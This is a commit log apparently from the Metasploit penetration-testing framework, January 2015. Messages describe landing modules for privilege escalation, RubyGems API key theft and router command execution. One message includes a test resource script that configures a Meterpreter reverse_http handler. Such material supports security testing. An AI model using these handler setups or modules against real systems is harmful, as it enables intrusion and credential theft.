Jay Smith
37c08128dc
Add in MS14-070 Priv Escalation for Windows 2003
2015-01-28 13:24:39 -05:00
Nanomebia
af90c6482b
Sanity Changes
...
Reverted failure behaviour on line 70
Removed a space that prevented line 98 from working as intended
2015-01-28 18:40:43 +08:00
Nanomebia
27c412341f
Syntax Changes
...
Cleaned up this statement a tiny bit
2015-01-28 18:34:19 +08:00
Nanomebia
fc3094ec9b
Syntax changes
...
Fixed some more syntax - failures
2015-01-28 18:30:21 +08:00
Nanomebia
321eb452c5
Syntax Fixes
...
Fixed some or's to || - and's to &&.
Fixed failure if statement (fails using fail_with())
Fixed nested else (now and elsif)
Changed final execute logic - checks for success rather than failure.
2015-01-28 18:08:15 +08:00
Nanomebia
fefc3d088c
Cookie fix and success display
...
Added handling for if the server doesn't correctly assign a cookie using
Set-Cookie by changing the regex and doing an additional check. Also
fixed the success display - changed the if statement to match others in
this module and fixed the text output based on server response.
2015-01-28 17:11:05 +08:00
jvazquez-r7
5475cf50aa
Land #4655 , @wchen-r7's custom 404 for BrowserExploitServer
2015-01-27 23:03:08 -06:00
sinn3r
457598eb02
print_error about unknown request.uri
2015-01-27 20:21:18 -06:00
sinn3r
acf02647fb
Add a check for Custom404
2015-01-27 20:18:10 -06:00
sinn3r
66703bfe5a
Allow custom 404 as an option for BrowserExploitServer
...
When something fails, the target is given a hardcoded 404 message
generated by the framework. But the user (attacker) now can configure
this. When the Custom404 option is set, the mixin will actually
redirect (302) to that URL.
There are several scenarios that can trigger a 404 by BES (custom or
default):
* When the browser doesn't allow javascript
* When the browser directly visits the exploit URL, which is forbidden.
If this actually happens, it probably means the attacker gave the
wrong URL.
* The attacker doesn't allow the browser auto-recovery to retry the
URL.
* If some browser requirements aren't met.
* The browser attempts to go to access a resource not set up by the
mixin.
2015-01-27 18:53:02 -06:00
Meatballs
81fa509b50
Only clean up handles if process started
2015-01-27 21:11:12 +00:00
Meatballs
c2d15f2b31
Add yarddoc note about handles
2015-01-27 21:05:00 +00:00
Meatballs
c7534446aa
Add yarddocs to runas mixin
2015-01-27 20:35:55 +00:00
James Lee
895284cd12
Fix logic around empty usernames or passwords
...
See #4634 and #4642
2015-01-27 14:16:26 -06:00
James Lee
9f4daa4e03
Add a couple more specs
2015-01-27 14:09:00 -06:00
sinn3r
68fec0fee5
Update output for set/unset
2015-01-27 13:58:54 -06:00
jvazquez-r7
465b4a5c1b
Land #4652 , @wchen-r7's ms13-037 svg exploit update to use BES
2015-01-27 13:47:35 -06:00
sinn3r
d29a74cd8f
Fix #4641 - Explain the set/unset command a little bit better
...
Sometimes we forget the set command is context specific. For example,
if run from a module's context, it will set the value in the module's
datastore.
Fix #4641
2015-01-27 13:35:05 -06:00
Brent Cook
f2edf21b9d
fix MSF::Post::File::rename_file with meterpreter
...
Modify rename_file to fit the pattern of the other file methods.
Otherwise, calling this yields a backtrace in the logs and it fails.
Steps to verify:
rc script:
```
loadpath test/modules
use exploit/multi/handler
set lhost 172.28.128.1
set lport 8081
set payload windows/meterpreter/reverse_http
run -j
sleep 5
resource test/scripts/test-sessions.rc
Before:
```
[-] FAILED: should move files
[-] Exception: TypeError : true is not a symbol
log file:
[01/27/2015 13:17:23] [d(0)] core: Call stack:
/home/bcook/projects/metasploit-framework/lib/msf/core/post/file.rb:357:in
`rename_file'
/home/bcook/projects/metasploit-framework/test/modules/post/test/file.rb:115:in
`block in test_file'
/home/bcook/projects/metasploit-framework/test/lib/module_test.rb:26:in
`call'
/home/bcook/projects/metasploit-framework/test/lib/module_test.rb:26:in
`it'
...
```
After, passing sessions instead:
```
post/test/file
SESSION => 1
Setup: changing working directory to %TEMP%
[*] Running against session 1
[*] Session type is meterpreter and platform is x86/win32
[+] should test for file existence
[+] should test for directory existence
[+] should create text files
[+] should read the text we just wrote
[+] should append text files
[+] should delete text files
[+] should move files
[+] should write binary data
[+] should read the binary data we just wrote
[+] should delete binary files
[+] should append binary data
[*] Passed: 11; Failed: 0
```
2015-01-27 13:19:33 -06:00
sinn3r
ffd1257bff
Make sure this branch is up to date.
2015-01-27 12:16:15 -06:00
sinn3r
bb9c961847
Change description a bit
2015-01-27 12:14:55 -06:00
William Vu
b030327965
Land #4647 , get_module_resource NilClass fix
2015-01-27 12:07:08 -06:00
sinn3r
2dedaee9ca
Working version after the upgrade
2015-01-27 12:02:36 -06:00
Brent Cook
8b3a0a0bb1
really fix the cmdweb test
...
this test to include the CmdStager module, not the CmdStagerVbs class
Before:
```
msf > loadpath test/modules
Loaded 32 modules:
8 posts
12 auxiliarys
12 exploits
```
After:
```
msf > loadpath test/modules
Loaded 33 modules:
8 posts
12 auxiliarys
13 exploits
msf > use exploit/test/cmdweb
msf exploit(cmdweb) > info
Name: Command Stager Web Test
Module: exploit/test/cmdweb
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2010-02-03
Provided by:
bannedit <bannedit@metasploit.com >
Available targets:
Id Name
-- ----
0 Automatic Targeting
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 8080 yes The target port
VHOST no HTTP server virtual host
Payload information:
Description:
This module tests the command stager mixin against a shell.jsp
application installed on an Apache Tomcat server.
msf exploit(cmdweb) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(cmdweb) > run
[*] Started reverse handler on 127.0.0.1:4444
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
[*] Command Stager progress - 6.02% done (6138/101881 bytes)
[*] Command Stager progress - 8.03% done (8184/101881 bytes)
[*] Command Stager progress - 10.04% done (10230/101881 bytes)
[*] Command Stager progress - 12.05% done (12276/101881 bytes)
[*] Command Stager progress - 14.06% done (14322/101881 bytes)
[*] Command Stager progress - 16.07% done (16368/101881 bytes)
[*] Command Stager progress - 18.07% done (18414/101881 bytes)
...
```
2015-01-27 11:44:34 -06:00
Meatballs
02da5b5c1b
Remove unnecessary get_env call
2015-01-27 17:27:56 +00:00
Meatballs
c9ca85fba8
Bail out as SYSTEM
2015-01-27 17:23:57 +00:00
William Vu
ae22cf1b47
Land #4650 , #strip NilClass fix
2015-01-27 11:13:33 -06:00
William Vu
7d7139d769
Consistent-ize whitespace
2015-01-27 11:11:02 -06:00
Meatballs
b367b01998
Remove unneccessary logonuser
2015-01-27 17:07:49 +00:00
Tod Beardsley
d8200c65a8
Strip safely, avoid nil.strip errors
2015-01-27 11:06:55 -06:00
William Vu
5b3d877b25
Land #4648 , for real
2015-01-27 11:00:22 -06:00
William Vu
2b706f222a
Land #4648 , YAML parsing fix
...
Prefer regex. For reasons...
2015-01-27 10:59:05 -06:00
William Vu
a88a631b66
Fix #strip
2015-01-27 10:58:24 -06:00
Tod Beardsley
d2bf1a73ff
Don't need to require YAML anymore either
2015-01-27 10:40:57 -06:00
William Vu
bf39a7a933
Land #4648 , YAML parsing fix
...
Prefer regex. For reasons...
2015-01-27 10:39:03 -06:00
Tod Beardsley
cafbd1af51
Prefer a regex over YAML parsing
...
Fixes a bug introduced in #4645
2015-01-27 10:34:56 -06:00
Meatballs
3d0dc1a19d
Rubocop
2015-01-27 16:34:52 +00:00
Meatballs
b7e9c69f72
Fix x64 injection
2015-01-27 16:34:06 +00:00
Meatballs
215a590940
Refactor and fixes for post module
2015-01-27 16:14:59 +00:00
Brent Cook
550e6efff8
improve resiliency of meterpreter session tests
...
- Use separate names for files and directories to avoid cascading
failures if one test fails and leaves a file or directory behind.
- Use %TEMP% rather than %TMP - the former is defined on all Windows
versions, whereas the later is not defined on Windows 2012, causing
the test to fail.
- Don't assume 'HACKING' is in the current working directory, which
breaks remote test harnesses. Instead, send the source code to the
current __FILE__ as the test file to upload, since that works from
any directory or remotely.
2015-01-27 09:07:21 -06:00
James Lee
a2c7ebc2b1
Simplify logic
2015-01-27 09:05:11 -06:00
James Lee
5985f37fe8
Only need one origin
2015-01-27 09:02:30 -06:00
James Lee
ca44ae2109
Consistent commas
2015-01-27 08:41:24 -06:00
James Lee
eac7b11a87
Merge remote-tracking branch 'upstream/master' into bug/4634/blank-username
...
Conflicts:
lib/msf/ui/console/command_dispatcher/db.rb
spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
2015-01-27 08:40:07 -06:00
James Lee
aea26e1e21
Add negative spec
2015-01-27 08:14:48 -06:00
Meatballs
12542eb938
Working
2015-01-27 14:10:35 +00:00
Meatballs
ea25869312
Refactor to common module
2015-01-27 10:47:02 +00:00
sinn3r
ee922d141c
Fix #4646 - get_module_resource should check nil before using get_resource
...
Fix #4646 . The get_module_resource needs to check nil first before
using the get_resource method (from HttpServer)
2015-01-27 00:21:43 -06:00
sinn3r
9e3388df34
Use BES for MS13-037 and default to ntdll
2015-01-27 00:18:36 -06:00
William Vu
515b125192
Land #4645 , for real
...
Conflicts:
modules/post/multi/gather/rubygems_api_key.rb
2015-01-26 23:46:04 -06:00
William Vu
fd4812fbab
Land #4645 , @claudijd's RubyGems API key stealer
...
Dedicating this merge to @todb-r7. :-)
2015-01-26 23:29:36 -06:00
William Vu
d53f4e1178
Fix bugs and make final changes
2015-01-26 23:29:10 -06:00
Jonathan Claudius
f0bcf27110
Missing ?
2015-01-27 00:15:43 -05:00
Jonathan Claudius
a3cf524162
Remove copy pasta
2015-01-27 00:13:51 -05:00
Jonathan Claudius
2bb9314b4b
Switch to unless conditional
2015-01-27 00:10:33 -05:00
sinn3r
7b4fd2f618
Land #4642 , Allow 'creds -u "" ' to return blank usernames
2015-01-26 23:01:03 -06:00
Jonathan Claudius
1f9286da69
Undo logic reversage
2015-01-26 23:54:41 -05:00
Jonathan Claudius
a9e480e44a
Fixed tilde
2015-01-26 23:53:08 -05:00
Jonathan Claudius
eed9fbe024
Lose assignment in conditional
2015-01-26 23:48:08 -05:00
Jonathan Claudius
c496d2c987
Remove nil check
2015-01-26 23:43:31 -05:00
Jonathan Claudius
c29b7488b2
Fix double new line
2015-01-26 23:40:19 -05:00
Jonathan Claudius
d77f112e82
Minor Formatting
2015-01-26 23:31:36 -05:00
Jonathan Claudius
06485d8c89
Fix naming of things
2015-01-26 23:17:44 -05:00
Jonathan Claudius
685c4804e5
Add trailing return
2015-01-26 23:15:00 -05:00
Jonathan Claudius
6b6e47a237
Fix sessiontypes, again
2015-01-26 23:13:17 -05:00
Jonathan Claudius
747349a57a
Fix sessiontypes
2015-01-26 23:11:48 -05:00
Jonathan Claudius
ee7ecb349d
Fix description
2015-01-26 23:10:08 -05:00
Jonathan Claudius
106170eddc
Add multi to name
2015-01-26 23:08:43 -05:00
Jonathan Claudius
a3c7cf70f8
Make MSF Tidy more happy
2015-01-26 22:30:26 -05:00
Jonathan Claudius
d37b3cf0c3
Use next instead of return
2015-01-26 22:26:56 -05:00
Jonathan Claudius
f58dc2789f
Remove creds
2015-01-26 22:13:15 -05:00
Jonathan Claudius
a27c376ae7
Add service port and host
2015-01-26 22:06:07 -05:00
Jonathan Claudius
dd34b58e49
Add add loot
2015-01-26 22:01:38 -05:00
Jonathan Claudius
3889ed5784
Add cred login
2015-01-26 21:50:10 -05:00
James Lee
964d37dbc5
Add a simple spec for -u
...
Need lots more
2015-01-26 20:37:17 -06:00
James Lee
f2e0bd364a
Always include Service and Host
...
See #4643
2015-01-26 20:22:11 -06:00
James Lee
8dd56bb759
Do all the filtering in SQL instead of Ruby
...
This also has the advantage of reducing the number of queries from at
least 3 for every Core we find to more like a total of 3.
2015-01-26 20:21:55 -06:00
Jonathan Claudius
eead063375
Add RubyGems API Post Gather Module
2015-01-26 20:53:39 -05:00
sinn3r
fd954b550a
Drop psuedo-legalese, just give practical warning
2015-01-26 18:58:35 -06:00
Tod Beardsley
63c3832d7d
Also test for nonmatching passwords
2015-01-26 17:02:58 -06:00
Tod Beardsley
1410477fe9
Use the blank password/username variables
2015-01-26 17:00:45 -06:00
Tod Beardsley
2294ea0e93
Squash commit for blank creds search and test
...
This should fix up #4642 with respect to #4504 .
Squashed commit of the following:
commit 124d53ccb00cd200bede092e893dda7e033d3e17
Merge: cb2bef8 ccad159
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Jan 26 16:23:03 2015 -0600
Merge branch 'feature/creds-blank-finders' into temp
commit ccad159222eaa949d76e22b588d1ac7709fb2f27
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Jan 26 15:58:02 2015 -0600
Clean out whitespace, make vars more meaningful
commit 266b45dff26e2778e43d8e4750d212b5aee5a009
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Jan 26 15:54:32 2015 -0600
Add some specs for regular users and blank users
commit 2e51503f76e9a2f6921c57e86a2f98527f80c874
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Jan 26 15:04:03 2015 -0600
Users should be able to find blank user/pass
2015-01-26 16:26:30 -06:00
Jon Hart
cb2bef878b
Land #4504 , @disenchant's get/getg improvement
2015-01-26 12:49:34 -08:00
Tod Beardsley
6269974bab
Drop psuedo-legalese, just give practical warning
2015-01-26 13:15:23 -06:00
Tod Beardsley
2ba0f8264e
Land #4632 , reverting #4473 , too noisy errors
...
Fixes #4630 as well.
See also #4122 and #4552 .
2015-01-26 13:05:19 -06:00
William Vu
776af2b96a
Land #4640 , for real
2015-01-26 12:07:12 -06:00
William Vu
1e728ca00f
Land #4640 , @todb-r7's module cleanup
2015-01-26 12:06:17 -06:00
William Vu
46210a4963
Fix punctuation
2015-01-26 12:05:54 -06:00
Tod Beardsley
bae19405a7
Various grammar, spelling, word choice fixes
2015-01-26 11:00:07 -06:00
Meatballs
93537765d0
Add TODO
2015-01-26 15:59:22 +00:00
Meatballs
5ae65a723f
Initial
2015-01-26 15:57:52 +00:00
Christian Mehlmauer
bb07ec8666
fix incorrect usage of .class
2015-01-26 15:46:58 +01:00
William Vu
8ad80f1e3f
Land #4637 , deprecated module cleanup
2015-01-26 01:32:48 -06:00
sinn3r
d7375e84ea
Move modules/post/windows/escalate/net_runtime_modify.rb
...
This module was scheduled to be removed on 01/08/2015.
Please use exploit/windows/local/service_permissions instead.
2015-01-26 00:29:43 -06:00
sinn3r
f5916eba6d
Move modules/exploits/windows/misc/psh_web_delivery.rb
...
This module was scheduled to be removed on 10/23/2014.
Please use exploit/multi/script/web_delivery instead.
2015-01-26 00:28:40 -06:00
sinn3r
bbcc2eb07d
Move modules/exploits/windows/misc/pxecploit.rb
...
This module was scheduled to be removed on 10/31/2014.
Please use exploits/windows/local/pxeexploit instead.
2015-01-26 00:25:02 -06:00
Meatballs1
6b0de8cbf0
Merge pull request #57 from dmaloney-r7/feature/metaballs1/enum_ad_users
...
Feature/metaballs1/enum ad users
2015-01-25 11:08:44 +00:00
sgabe
dbe5dd77e3
Enforce update to real versions
2015-01-25 10:53:14 +01:00
Gabor Seljan
2680e76e26
Remove wrong references
2015-01-25 00:17:30 +01:00
jvazquez-r7
b4419afc64
Land #3019 , @aczire's module for Huawei info disclosure
...
* Module for CVE-2013-6031
2015-01-24 10:16:35 -06:00
jvazquez-r7
c6901caf39
Change module location
2015-01-24 10:14:46 -06:00
sinn3r
c62beacd31
Revert #4473 - Log backtraces by default
2015-01-24 02:44:29 -06:00
aczire
6ec3e6545e
Merge pull request #1 from jvazquez-r7/rebase_3019
...
Clean Huawei SOHO router information disclosure
2015-01-24 10:44:28 +05:30
sinn3r
6c2e8a16ce
Change warning
2015-01-23 22:50:39 -06:00
sinn3r
2d9b1dbc22
Fix typos
2015-01-23 22:31:37 -06:00
sinn3r
ff0af805e3
Add a warning before use
2015-01-23 22:26:41 -06:00
jvazquez-r7
23c9d4f0fb
Do final cleanup
2015-01-23 17:54:58 -06:00
jvazquez-r7
05e803f85b
Rewrite get_wifi_info
2015-01-23 17:50:52 -06:00
jvazquez-r7
fe61b274bd
Rewrite get_router_ssid
2015-01-23 17:38:55 -06:00
jvazquez-r7
abe9c85ad6
Rewrite get_router_dhcp_info
2015-01-23 17:37:20 -06:00
jvazquez-r7
70b6f94f14
Rewrite get_router_wan_info
2015-01-23 17:32:20 -06:00
jvazquez-r7
aeed72f726
Rewrite get_router_info
2015-01-23 17:29:12 -06:00
jvazquez-r7
26b17d5556
Clean get_router_mac_filter_info
2015-01-23 17:18:07 -06:00
jvazquez-r7
a63625ab51
Refactor response parsing
2015-01-23 17:09:01 -06:00
Spencer McIntyre
32746e0088
Land #4631 , @bcook-r7's fix for #4625 pkt requeue logic
2015-01-23 18:02:21 -05:00
jvazquez-r7
c9a13bda2f
Do a first easy clean up
2015-01-23 16:37:55 -06:00
jvazquez-r7
dcf0d7f596
Make msftidy happy
2015-01-23 16:23:21 -06:00
jvazquez-r7
f83b87f611
Rebase #3019
2015-01-23 16:14:01 -06:00
Brent Cook
fc016fe2ec
Land #4629 , @wchen-r7's proper fixes for #4616 and #3798
2015-01-23 14:29:14 -06:00
Brent Cook
52ca6b54b1
remove entire 'default' attribute acccessor override method
...
This reverts us to the state before
725a17c70b , making OptRegexp simply
inherit from OptBase again.
2015-01-23 14:18:05 -06:00
Brent Cook
65d71a5e18
Fix #4625 Reenable channel receive packet requeueing logic
...
In #4475 , I incorrectly interpreted the role of the 'incomplete' array
in monitor_socket, and that change should be reverted.
What appears to happen is, we play a kind of 3-card monty with the list
of received packets that are waiting for a handler to use them.
monitor_socket continually loops between putting the packets on @pqueue,
then into backlog[] to sort them, then into incomplete[] to list all of
the packets that did not have handlers, finally back into @pqueue again.
If packets don't continually get shuffled back into incomplete, they are
not copied back into @pqueue to get rescanned again.
The only reason anything should really get into incomplete[] is if we
receive a packet, but there is nothing to handle it. This scenario
sounds like a bug, but it is exactly what happens with the Tcp Client
channel - one can open a new channel, and receive a response packet back
from the channel before the subsequent read_once code runs to register a
handler to actually process it. This would be akin to your OS
speculatively accepting data on a TCP socket with no listener, then when
you open the socket for the first time, its already there.
While it would be nice if the handlers were setup before the data was
sent back, rather than relying on a handler being registered some time
between connect and PacketTimeout, this needs to get in now to stop the
bleeding. The original meterpreter crash issue from #4475 appears to be
gone as well.
2015-01-23 08:50:37 -06:00
sinn3r
f3a2d6663f
Fix #4616 and Fix #3798 - Correctly use OptRegexp
...
This patch fixes a problem with OptRegexp. The OptRegexp class is
always forcing the value to be converted to a string first, which
causes the EXCLUDE option in browser_autopwn to kick in and match
every found autopwn module, so it ignores all of them and you load
nothing (#4616 ).
It is important to understand that nil actually represents an option
not being set, which is a completely different behavior than having
an empty value (technically "" is still a value, and if there's a
value, it means the option is set). We need to watcher for these
scenarios.
I am restoring the #default method to avoid forcing a to_s, which should
fix the browser autopwn loading problem. And then I changed scraper.rb's
default value for datastore option PATTERN to a string, because still
fixes #3798 . The way I see it, #3798 is actually a module-specific issue.
Fix #4616
Fix #3798
2015-01-23 02:38:26 -06:00
Hans-Martin Münch (h0ng10)
419fa93897
Add OSVDB and WPScan references
2015-01-23 09:27:42 +01:00
Hans-Martin Münch (h0ng10)
dfbbc79e0d
make retries a datastore option
2015-01-23 09:23:09 +01:00
Hans-Martin Münch (h0ng10)
11bf58e548
Use metasploit methods
2015-01-23 08:48:52 +01:00
jvazquez-r7
c507e73a02
Comment to clarify serialVersionUID fields
2015-01-22 18:40:52 -06:00
jvazquez-r7
e377ed3f83
Document the 'null' UnicastRef ObjId on the discovery package
2015-01-22 18:39:12 -06:00
jvazquez-r7
4c81cac004
Merge jboss_invoker converstion to use Rex::Java::Serialization
2015-01-22 18:22:42 -06:00
jvazquez-r7
d8aa282482
Delete some double quotes
2015-01-22 18:21:25 -06:00
jvazquez-r7
4c72b096b6
Switch variable from file_name to operation
2015-01-22 18:20:11 -06:00
jvazquez-r7
b003d8f750
Do final cleanup
2015-01-22 18:17:14 -06:00
jvazquez-r7
911485f536
Use easier key name
2015-01-22 18:11:48 -06:00
jvazquez-r7
f9dccda75d
Delete unused files
2015-01-22 18:00:31 -06:00
jvazquez-r7
eff49b5fd3
Delete files with Rex::Java::Serialization
2015-01-22 17:59:43 -06:00
jvazquez-r7
37bf66b994
Install instaget with Rex::Java::Serialization
2015-01-22 16:54:49 -06:00
Samuel Huckins
01bcd72e1c
Land #4546
2015-01-22 16:45:01 -06:00
jvazquez-r7
20d7fe631e
Auto detect platform without raw streams
2015-01-22 15:15:08 -06:00
jvazquez-r7
ad276f0d52
Retrieve version with Rex::Java::Serialization instead of binary streams
2015-01-22 14:52:19 -06:00
jvazquez-r7
720def9d0a
Update java_deserializer specs
2015-01-22 14:50:48 -06:00
jvazquez-r7
5c413a8102
Add support to print objects, arrays and classes details
2015-01-22 14:50:12 -06:00
William Vu
349ea56a3b
Land #4628 , revert of #4593
...
Extraneous commas must die. Trailing commas are okay.
This check was too much.
2015-01-22 14:30:08 -06:00
Tod Beardsley
1d6524b4d9
Revert #4593 , msftidy extraneous comma check
...
Fixes #4626 by ignoring the problem identified.
This reverts commit 7c3378b2e6 , reversing
changes made to cb0257bec7 .
2015-01-22 14:28:27 -06:00
William Vu
980a010e15
Land #4627 , explicit rubygems require fix
...
And a couple extraneous comma fixes.
2015-01-22 13:49:31 -06:00
Tod Beardsley
bd06b48b30
Extra commas.
2015-01-22 13:45:08 -06:00
Tod Beardsley
2e606cd097
Don't require rubygems
2015-01-22 13:44:58 -06:00
William Vu
75e04705d5
Land #4624 , Firefox 33-35 os.js support
2015-01-22 13:35:47 -06:00
William Vu
0612e1906a
Land #4614 , {32,64}-bit Registry access
2015-01-22 13:25:51 -06:00
Jon Hart
e46395f592
Land #4596 , @pdeardorff-r7's memcached extractor
2015-01-22 08:00:19 -08:00
Jon Hart
1cdcd3ccfa
Use a more consistent format in Rex table and loot for memcache
2015-01-22 07:59:48 -08:00
Jon Hart
e7c21f3205
Land #4503 , @m7x's post module for extracting McAfee VSE hashes
2015-01-21 20:44:41 -08:00
Jon Hart
9cc58a8d69
Lastly, rename the file so that it is specific to McAfee VSE
2015-01-21 20:44:34 -08:00
Jon Hart
683a541064
Tighten up prints to make it specific to VSE, not McAfee in general
2015-01-21 20:33:54 -08:00
Jon Hart
52be3d80b7
Minor ruby style cleanup
2015-01-21 20:27:38 -08:00
Jon Hart
ceed293969
Remove unnecessary requires
2015-01-21 20:23:03 -08:00
jvazquez-r7
b61538e980
Land #4291 , @headlesszeke's module for ARRIS VAP2500 command execution
2015-01-21 20:52:31 -06:00
jvazquez-r7
33195caff2
Mark compatible payloads
2015-01-21 20:52:04 -06:00
jvazquez-r7
500d7159f1
Use PAYLOAD instead of CMD
2015-01-21 20:49:05 -06:00
jvazquez-r7
f37ac39b4c
Split exploit cmd vs exploit session
2015-01-21 20:46:37 -06:00
jvazquez-r7
e1d1ff17fd
Change failure code
2015-01-21 20:38:33 -06:00
jvazquez-r7
169052af5c
Use cookie option
2015-01-21 20:37:38 -06:00
Joe Vennix
5bfb88d55c
Update os.js to detect newer firefox versions.
2015-01-21 16:12:17 -06:00
Jon Hart
65805d43d7
Land #4612 , @wez3's suggestion to bump the Outlook gather time
2015-01-21 13:28:06 -08:00
Jon Hart
f73052710d
Correct recent msftidy change in outlook gather
2015-01-21 13:27:48 -08:00
Jon Hart
46a0ec8a68
Make timeout for Powershell scripts configurable
2015-01-21 13:24:43 -08:00
William Vu
cf7555447c
Land #4621 , msftidy whitelist constant
...
Now I'm happy... almost.
2015-01-21 14:03:39 -06:00
William Vu
bbe9fc208e
Update formatting (80 columns)
...
Piped to fmt -78 to account for the indent.
2015-01-21 14:01:44 -06:00
Tod Beardsley
264adf14d1
Add 'tnftp' software to the title whitelist
2015-01-21 11:52:39 -06:00
Tod Beardsley
efebaae251
Make the title whitelist a constant
2015-01-21 11:50:50 -06:00
William Vu
a52f491d81
Land #4615 , stopgap fix for module load race
2015-01-21 07:39:07 -06:00
jvazquez-r7
c33e5faed3
Change namespace
2015-01-21 01:00:45 -06:00
jvazquez-r7
f85890a249
Change specs filename
2015-01-21 00:58:32 -06:00
jvazquez-r7
81d0eca45b
Fix Msf::Jmx::Handshake specs
2015-01-21 00:57:50 -06:00
jvazquez-r7
bdf9aabcf0
Merge support for JMX protocol
2015-01-21 00:38:04 -06:00
jvazquez-r7
7fad21eaf8
Refactor JMX code
2015-01-21 00:37:35 -06:00
jvazquez-r7
c866caac43
Randomize MLet name
2015-01-21 00:36:34 -06:00
HD Moore
2f4ad9716c
Lands #4618 , clarifies error message in msfvenom
2015-01-21 00:33:36 -06:00
William Vu
1dafedf23b
Clarify no encoder/badchars specified
2015-01-21 00:26:42 -06:00
HD Moore
d7cb1c5710
Lands #4617 , fixes msfvenom output with no encoder.
2015-01-21 00:26:30 -06:00
jvazquez-r7
37ed1b1e62
Delete default values for datastore options
2015-01-21 00:14:46 -06:00
jvazquez-r7
a996efc807
Refactor exploit code
2015-01-21 00:07:00 -06:00
William Vu
4cc027c4c1
Move "found" message to a saner location
...
Thanks to Peleus for the idea.
2015-01-20 23:58:12 -06:00
jvazquez-r7
2de2e657f0
Refactor get_mbean_server
2015-01-20 23:44:33 -06:00
jvazquez-r7
d90f856c00
Delete sock_server variable
2015-01-20 20:51:20 -06:00
jvazquez-r7
b792c0a5bf
Create exploit_mbean_server method
2015-01-20 20:44:10 -06:00
jvazquez-r7
2ef57d6172
Add specs for Msf::Jmx::MBean::ServerConnection
2015-01-20 19:10:21 -06:00
jvazquez-r7
7e2f9b32b3
Add specs for Msf::Jmx::MBean::ServerConnection#create_mbean_stream
2015-01-20 18:59:25 -06:00
jvazquez-r7
0b2d65749b
Do better argument handling on Msf::Jmx::Mbean::ServerConnection
2015-01-20 18:46:09 -06:00
jvazquez-r7
dbe7afd3e7
Add dcoumentation for Msf::Jmx::Mbean::ServerConnection
2015-01-20 18:29:21 -06:00
jvazquez-r7
2f2796bfdf
Add documentation for Msf::Jmx::Discovery
2015-01-20 18:16:53 -06:00
jvazquez-r7
552f0325be
Add documentation for Msf::Jmx::Handshake
2015-01-20 18:11:44 -06:00
jvazquez-r7
625420120c
Add documentation for extract_unicast_ref
2015-01-20 17:48:49 -06:00
jvazquez-r7
b97c0fe398
Add Msf::Jmx::Util#extract_unicast_ref
2015-01-20 17:46:42 -06:00
jvazquez-r7
7b675adf01
Add specs for Msf::Jmx::Handshake
2015-01-20 17:29:48 -06:00
Brent Cook
5954e2300f
updates based on feedback
...
Add documentation to the view constants.
Use include? rather than regexes
2015-01-20 16:57:49 -06:00
jvazquez-r7
f3fa4562bd
Add specs for Msf::Jmx::Discovery
2015-01-20 16:49:02 -06:00
Tod Beardsley
9017aa0f6b
Avoid magic number to make @wvu marginally happier
2015-01-20 16:29:59 -06:00
Tod Beardsley
e88c4f1587
Switching from if mod.nil? to unless mod
...
Because it reads nicer, though `mod` will never be `FalseClass`
2015-01-20 16:21:00 -06:00
jvazquez-r7
39e3f9f892
Add specs for Msf::Jmx::Util
2015-01-20 16:18:53 -06:00
Jon Hart
a5e14d5869
Use checkcode status text when not obviously vulnerable, more consistent text
2015-01-20 13:55:48 -08:00
Tod Beardsley
63c66f66a0
Add a second_chance on cmd_use
...
This is a weak attempt to solve a race condition between modules loading
and cmd_use being fired. Upon startup, saved configurations, running
resource scripts, and running commands will sometimes jump ahead of the
module loading procedure.
I have not discovered where the race actually is and how to cause the
race to happen. However, the timing seems to be fairly close to a second;
by waiting three seconds after trying use again, we seem to be in the
clear, at least according to testing.
Fixes #4549 , but better solutions are welcome!
2015-01-20 15:46:29 -06:00
Jon Hart
14fc8d4cd0
Only allow 401/403/404
2015-01-20 13:36:06 -08:00
Brent Cook
a42cc2ef1f
add support for specifying 32 or 64-bit registry access
...
This adds an extra parameter to most of the post/windows/registry
methods called 'view' that specifies if a registry key should be
accessed as a native process, 32-bit or 64-bit.
Support is added to both the Meterpreter and command-line backends. For
the command backend, a lot of boilerplate is removed from each method in
favor of a few shared commands. There is an error hash that never gets
used, so I removed it as well.
This passes the post/test/registry module with meterpreter, but fails
the command line backend. However, it fails in the same way without
these changes (tested on Windows 8), so I suspect that the command line
session was already not working well, at least with newer versions of
Windows. I might look into figuring out how to fix that, but it looks
pretty fragile to me, parsing for english phrases in the output.
2015-01-20 15:26:59 -06:00
jvazquez-r7
7d43ec7f93
Add specs for Rex::Java::Serialization::Builder#add_specs
2015-01-20 15:13:30 -06:00
jvazquez-r7
d4a8049ac5
Add specs for Rex::Java::Serialization::Builder#new_object
2015-01-20 15:03:37 -06:00
pdeardorff-r7
0d4d06fb83
Print table for all scans, add preview size option
2015-01-20 11:12:47 -08:00
jvazquez-r7
09fe65eeba
Add specs for Rex::Java::Serialization::Builder#new_class
2015-01-20 11:59:33 -06:00
jvazquez-r7
4311226840
Add documentation for Rex::Java::Serialization::Builder
2015-01-20 11:26:52 -06:00
jvazquez-r7
3c718ba5df
Reorder Stream building
2015-01-20 11:18:18 -06:00
Paul Deardorff
f593c7d79a
Merge pull request #1 from jhart-r7/landing-4596-jhart
...
Improvements to memcached gather module
2015-01-20 09:08:35 -08:00
jvazquez-r7
6ee853fbe2
Use short type of BlockData.new
2015-01-20 10:52:17 -06:00
Jon Hart
f1bf607386
Minor Ruby style cleanup
2015-01-20 08:47:47 -08:00
Jon Hart
ef89a3d323
Add protocol reference
2015-01-20 08:34:08 -08:00
jvazquez-r7
0584ae8177
Add Rex::Java::Serialization::Builder#new_object
2015-01-20 10:31:37 -06:00
Jon Hart
9c97824d5c
Move MAXKEYS to advanced
2015-01-20 08:28:49 -08:00
jvazquez-r7
6ca86256cf
Add Rex::Java::Serialization::Builder#new_array
2015-01-20 10:23:09 -06:00
Jon Hart
9d430eb1d5
Use the simpler 'version' command to get the version
2015-01-20 08:16:22 -08:00
Jon Hart
6588f92206
Move rex connection errors to vprint since this is a Scanner
2015-01-20 08:11:09 -08:00
Jon Hart
10100df054
report_service
